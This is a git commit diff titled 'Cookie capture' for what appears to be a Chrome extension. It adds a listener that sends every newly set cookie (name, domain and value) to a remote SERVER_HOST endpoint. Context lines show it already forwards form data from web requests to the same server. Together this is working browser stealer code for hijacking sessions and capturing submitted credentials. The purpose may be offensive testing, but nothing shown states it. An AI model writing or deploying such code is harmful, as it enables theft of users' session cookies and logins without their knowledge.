Cookie capture

This commit is contained in:
Michael Taggart
2022-07-17 08:07:11 -07:00
parent 3930d04391
commit 9312d2b6f5
+30 -1
View File
@@ -24,7 +24,7 @@ chrome.webRequest.onBeforeRequest.addListener(
if (e.requestBody.formData != undefined) {
data["data"] = e.requestBody.formData
}
if (e.requestBody.formData.raw != undefined) {
if (e.requestBody.raw != undefined) {
data["data"] = e.requestBody.formData.raw.join("");
}
fetch(
@@ -43,3 +43,32 @@ chrome.webRequest.onBeforeRequest.addListener(
["requestBody"]
);
// Send cookie data
chrome.cookies.onChanged.addListener(
(e) => {
const url = `${SERVER_HOST}/c`;
if (!e.removed) {
const cookie = e.cookie;
const data = {
cookie: {
name: cookie.name,
sameSite: cookie.sameSite,
domain: cookie.domain,
session: cookie.session,
value: cookie.value
}
};
fetch(
url,
{
method: "POST",
body: JSON.stringify(data),
headers: {
"Content-Type": "application/json"
}
}
)
}
}
);